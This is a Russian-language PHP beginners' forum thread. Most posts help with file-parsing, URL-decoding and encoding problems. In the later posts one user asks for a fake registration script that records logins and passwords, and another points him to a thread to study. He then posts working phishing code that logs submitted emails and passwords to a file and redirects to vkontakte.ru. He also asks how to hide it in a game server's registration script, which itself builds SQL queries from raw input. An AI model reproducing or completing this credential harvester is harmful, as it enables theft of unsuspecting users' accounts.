[php] Новичкам: задаем вопросы

Discussion in 'PHP' started by _Great_, 26 May 2007.

Thread Status:
Not open for further replies.
  1. Gifts

    Gifts Green member

    Joined:
    25 Apr 2008
    Messages:
    2,494
    Likes Received:
    807
    Reputations:
    614
    #Wolf# Возможно библиотека GD не подключена/подключена не полностью? (Посмотреть можно в phpinfo) В системе отсутствуют шрифты для данной капчи (как проверить не знаю)

    REBUUS Правда первой строкой скорее всего будет перевод строки ^^
    PHP:
    set_time_limit(0);
    $f1 fopen('1.txt','r');
    $f2 fopen('2.txt','w');

    while (!
    feof($f1))
    {
        
    $tmp trim(fgets($f1,8192),"\r\n");
        if (
    strpos('=',$tmp)!==falsefwrite($f2,"\n");
        
    fwrite($f2,$tmp);
    }
     
    _________________________
    1 person likes this.
  2. REBUUS

    REBUUS Active Member

    Joined:
    6 Apr 2009
    Messages:
    314
    Likes Received:
    111
    Reputations:
    9

    что то он все в одну строчку загнал
    вот сам фай который надо редактировать http://webfile.ru/3641124
     
    1 person likes this.
  3. wildshaman

    wildshaman Elder - Старейшина

    Joined:
    16 Apr 2008
    Messages:
    477
    Likes Received:
    483
    Reputations:
    99
    в вышеприведенном тебе коде замени тогда
    fwrite($f2,$tmp); на fwrite($f2,$tmp."\r\n");
     
    2 people like this.
  4. Gifts

    Gifts Green member

    Joined:
    25 Apr 2008
    Messages:
    2,494
    Likes Received:
    807
    Reputations:
    614
    wildshaman Не трогайте чужой код, тем более что вы ошибаетесь)

    Rebbus В функции strpos перепутал аргументы)
    PHP:
    set_time_limit(0);
    $f1 fopen('1.txt','r');
    $f2 fopen('2.txt','w');

    while (!
    feof($f1))
    {
        
    $tmp trim(fgets($f1,8192),"\r\n");
        if (
    strpos($tmp,'=')!==falsefwrite($f2,"\r\n");
        
    fwrite($f2,$tmp);
    }
    http://webfile.ru/3641159 - выходной файл
     
    _________________________
    #10124 Gifts, 24 May 2009
    Last edited: 24 May 2009
    2 people like this.
  5. REBUUS

    REBUUS Active Member

    Joined:
    6 Apr 2009
    Messages:
    314
    Likes Received:
    111
    Reputations:
    9
    тоже самое все в одну строку, а все остальное обрезает
    может сам файл кто глянет, вдруг че не так
    http://webfile.ru/3641124
     
    2 people like this.
  6. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    Короче раньше я писал код сюда, хоть он и наркоманский, но работает:))))

    PHP:
    <?php
    @set_time_limit(0); 
    @
    ini_set("display_errors","1");

    $h fopen('tema1.txt' 'r');// Файло с хаотичными данными
    $b fopen('resultat.txt' 'a+');// Файло результат
    while (!feof($h)) {
      
    $a trim(fgets($h));
      if (
    strpos($a,'=')) fwrite($b,"\r\n".$a);
      else 
    fwrite($b,$a);
    }
    fclose($h);
    fclose($b);
    echo 
    'done';
    ?>
     
    #10126 Pashkela, 24 May 2009
    Last edited: 24 May 2009
    1 person likes this.
  7. REBUUS

    REBUUS Active Member

    Joined:
    6 Apr 2009
    Messages:
    314
    Likes Received:
    111
    Reputations:
    9
    А твой наркомовский скрипт то что надо. спасибо тебе большое. +
     
  8. zifanchuck

    zifanchuck Elder - Старейшина

    Joined:
    27 Oct 2008
    Messages:
    396
    Likes Received:
    154
    Reputations:
    3
    Наверное вопрос поднимался много раз но ответа в гугле не нашол.
    короче закодированое слово в урле (гугл)
    %D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%B8%D1%81%D1%82
    слово программист
    надо чтобы скрипт из набора букавак преобразовал в нормальное слово.
    пробывал так
    <?php
    echo urldecode("%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%B8%D1%81%D1%82");
    ?>
    но выдает какуюто лажу типа программист
    как ето организовать?
     
  9. pento

    pento Elder - Старейшина

    Joined:
    3 Jul 2006
    Messages:
    126
    Likes Received:
    24
    Reputations:
    -1
    Очевидно кодировку поправить либо в конфиге апача, либо хэдер послать соответствующий из пхп, либо хотя бы указать мета тег с кодировкой.
     
  10. Winst0n

    Winst0n Elder - Старейшина

    Joined:
    19 Aug 2008
    Messages:
    92
    Likes Received:
    5
    Reputations:
    0
    --
     
    #10130 Winst0n, 24 May 2009
    Last edited: 27 May 2009
  11. pento

    pento Elder - Старейшина

    Joined:
    3 Jul 2006
    Messages:
    126
    Likes Received:
    24
    Reputations:
    -1
    Потому что инициализация переменной вне тела цикла
    PHP:
    <?php

    include ("function.php");  

    $db mysql_connect("localhost""root""");
    mysql_select_db("samp"$db);
    $e mysql_query("SELECT * FROM servers"$db);

    while (
    $s mysql_fetch_array($e) {
        
    $data monitor_samp($s['serv'], $s['port'], sampinfo);
        echo 
    "<center><b>" $data['hostname'] . 
             
    "</b> | " $data['ip'] . ":" $data['qport'] . " | Игроков: <b>" $data['players'].
             
    "/" $data['maxplayers'] . "</b> | Карта: <b>" $data['mapname'] . "</b></center>";
    }

    ?>
     
    1 person likes this.
  12. Winst0n

    Winst0n Elder - Старейшина

    Joined:
    19 Aug 2008
    Messages:
    92
    Likes Received:
    5
    Reputations:
    0
    --
     
    #10132 Winst0n, 24 May 2009
    Last edited: 27 May 2009
  13. sidrus

    sidrus New Member

    Joined:
    16 Feb 2009
    Messages:
    19
    Likes Received:
    0
    Reputations:
    0
    нужен скрипт регистрации

    здраствуйте если кому не трудно, напишите пажалуста скрипт эмитирующий регистрацию и записывающий логин и пасс в отдельный текст фаил
    за ранее спасибо
     
  14. Winst0n

    Winst0n Elder - Старейшина

    Joined:
    19 Aug 2008
    Messages:
    92
    Likes Received:
    5
    Reputations:
    0
    sidrus, хоть бы сказал для какого сайта...


    http://forum.antichat.ru/thread80268.html изучай)
     
  15. sidrus

    sidrus New Member

    Joined:
    16 Feb 2009
    Messages:
    19
    Likes Received:
    0
    Reputations:
    0

    бальшущее спасибо! :)
     
  16. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    2 zifanchuck:

    PHP:
    <meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
    <?php
    @set_time_limit(0); 
    @
    ini_set("display_errors","1");

    $in '%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%B8%D1%81%D1%82';
    $in urldecode($in);
    $s mb_detect_encoding($in);//Определяем кодировку
    $in iconv($s'CP1251//TRANSLIT'$in);//Декодируем в нужную кодировку, выставленную в начале файла
    echo $in;
    ?>
    строчки :

    @set_time_limit(0);
    @ini_set("display_errors","1");

    в данном случае нужны только для отладки, рекомендую всегда использовать пока не наладили скрипт, после 100%-го результата ЛУЧШЕ удалить, особенно @ini_set("display_errors","1"); , строку @set_time_limit(0); можно и не удалять, зависит от поставленной задачи. Покажут все возможные ошибки в процессе написания скрипта. Вроде мелочь, но, на мой сугубо взгляд, весьма важная (дебаг фактически).
     
    #10136 Pashkela, 25 May 2009
    Last edited: 25 May 2009
  17. Fepsis

    Fepsis Elder - Старейшина

    Joined:
    17 Sep 2008
    Messages:
    791
    Likes Received:
    391
    Reputations:
    72
    PHP:
    <?php
    echo iconv('UTF-8','Windows-1251',urldecode("%D0%BFD1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%B8%D1%81%D1%82"));
    ?>
     
  18. #Wolf#

    #Wolf# Elder - Старейшина

    Joined:
    26 Mar 2008
    Messages:
    375
    Likes Received:
    166
    Reputations:
    16
    рядом стоял дле у которого капча тоже не отображалась(вообще). оказалось проблема была с методом передачи данных по фтп (ASCII/BIN)
    поставил авто и перелил - заработало, точно также проделал и с булкой....но отображается только фон
     
  19. sidrus

    sidrus New Member

    Joined:
    16 Feb 2009
    Messages:
    19
    Likes Received:
    0
    Reputations:
    0
    ребята, памагите пажалуста сделать чтото типо этого

    PHP:
    <?php /* ############# #by_NoNameZ# 
    ########### */ 
    $f=fopen("log.txt","at");  flock($f,2); 
     if(
    preg_match("/^([.0-9a-z_-]+)@(([0-9a-z-]+\.)+[0-9a-
    z]{2,4})$/i"
    $_POST['email'])&& 
    !empty(
    $_POST['pass'])){ fputs($f
    $_POST['email'].";".$_POST['pass']." \n");      
    header("Location: http://vkontakte.ru
    /blank.php?code=10"
    ); } else {      header("Location: 
    bad.htm"
    ); } flock($f,3);  fclose($f);  ?> 
    но чтоб я скрипт вставил в фаил регистрации и он просто вводимые пароли сахранял мне в фаил и при этом также работал, тоисть также пароли сахранял дальше в базе

    вот скрипт регикуда файк прилепить хочу

    PHP:
    <?php  if(!defined('DATALIFEENGINE')) {     
    die(
    "Hacking attempt!"); }  if ($_action == "reg") {     if 
    (empty(
    $_REQUEST["l2login"]) || 
    empty(
    $_REQUEST["l2password"]) || 
    empty(
    $_REQUEST["l2password2"]) || 
    empty(
    $_REQUEST["l2email"]) || 
    empty(
    $_REQUEST["l2answer"]) || 
    empty(
    $_REQUEST["l2question"])) {         $lineage 
    "<div class='warning center'>Îøèáêà ïðè ðåãèñòðàöèè, çàïîëíèòå âñå ïîëÿ!</div><br />";         $lineage.= 
    "<center><a 
    href='"
    .GetURL($_link,"registration")."'>íàçàä</a>
    </center>"
    ;          } elseif 
    (
    strlen($_REQUEST["l2login"])>16 || 
    strlen($_REQUEST["l2login"])<4) {         $lineage "<div 
    class='warning center'>Îøèáêà ïðè ðåãèñòðàöèè, ëîãèí 
    äîëæåí áûòü íå ìåíüøå 4 è íå áîëüøå 16 ñèìâîëîâ!</div><br 
    />"
    ;         $lineage.= "<center><a 
    href='"
    .GetURL($_link,"registration")."'>íàçàä</a>
    </center>"
    ;      } elseif 
    (
    $_REQUEST["l2password"]!=$_REQUEST["l2password2"])
     {         
    $lineage "<div class='warning center'>Îøèáêà 
    ïðè ðåãèñòðàöèè, ïàðîëè íå ñîâïàäàþò!</div><br 
    />"
    ;         $lineage.= "<center><a 
    href='"
    .GetURL($_link,"registration")."'>íàçàä</a>
    </center>"
    ;      } elseif (strlen($_REQUEST["l2answer"])<
    || strlen($_REQUEST["l2question"])<4) {         
    $lineage "<div class='warning center'>Îøèáêà ïðè 
    ðåãèñòðàöèè, âîïðîñ è îòâåò äîëæíû áûòü íå ìåíüøå 4 
    ñèìâîëîâ!</div><br />"
    ;         $lineage.= "<center><a 
    href='"
    .GetURL($_link,"registration")."'>íàçàä</a>
    </center>"
    ;              } elseif 
    (!
    check_email($_REQUEST["l2email"])) {         
    $lineage "<div class='warning center'>Îøèáêà ïðè 
    ðåãèñòðàöèè, email óêàçàí íå âåðíî!</div><br 
    />"
    ;         $lineage.= "<center><a 
    href='"
    .GetURL($_link,"registration")."'>íàçàä</a>
    </center>"
    ;              } elseif 
    (
    $dbl->sql_numrows($dbl->sql_query("SELECT * FROM 
    accounts WHERE login='"
    .$_REQUEST["l2login"]."' LIMIT 
    1"
    ))) {         $lineage "<div class='warning 
    center'>Îøèáêà ïðè ðåãèñòðàöèè, àêêàóíò ñóùåñòâóåò!
    </div><br />"
    ;         $lineage.= "<center><a 
    href='"
    .GetURL($_link,"registration")."'>íàçàä</a>
    </center>"
    ;          } elseif 
    (
    $dbl->sql_numrows($dbl->sql_query("SELECT * FROM 
    accounts WHERE email='"
    .$_REQUEST["l2email"]."' LIMIT 
    1"
    ))) {         $lineage "<div class='warning 
    center'>Îøèáêà ïðè ðåãèñòðàöèè, óêàçàííûé email óæå 
    èñïîëüçóåòñÿ!</div><br />"
    ;         $lineage.= 
    "<center><a 
    href='"
    .GetURL($_link,"registration")."'>íàçàä</a>
    </center>"
    ;          } else {         $dbl->sql_query_jdb("accounts""InsertAccount", array($_REQUEST["l2login"], base64_encode(pack('H*'sha1($_REQUEST["l2password"]))), $_REQUEST["l2email"], $_REQUEST["l2answer"], $_REQUEST["l2question"]));         $sql_error $dbl->sql_error();         if ($sql_error["code"]==0) {             $lineage "<center>Ïîçäðàâëÿåì, Âû óñïåøíî çàðåãèñòðèðîâàëè àêêàóíò! Ïðèÿòíîé èãðû.</center><br />";         } else {             $lineage "<div class='warning center'>Íåèçâåñòíàÿ îøèáêà, ïîïðîáóéòå åùå ðàç!</div><br />";             $lineage.= "<center><a href='".GetURL($_link,"registration")."'>íàçàä</a></center>";         }     } } else {     $tpl->load_template($tpldir.'/lineage/register.tpl');     $tpl->compile('register');     $lineage $tpl->result["register"];     // $tpl->clear(); }  ?>




















     
    #10139 sidrus, 25 May 2009
    Last edited: 25 May 2009
  20. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    2 sidrus:

    код оформи нормально (подсказка - клавиша ENTER может творить чудеса)
     
Thread Status:
Not open for further replies.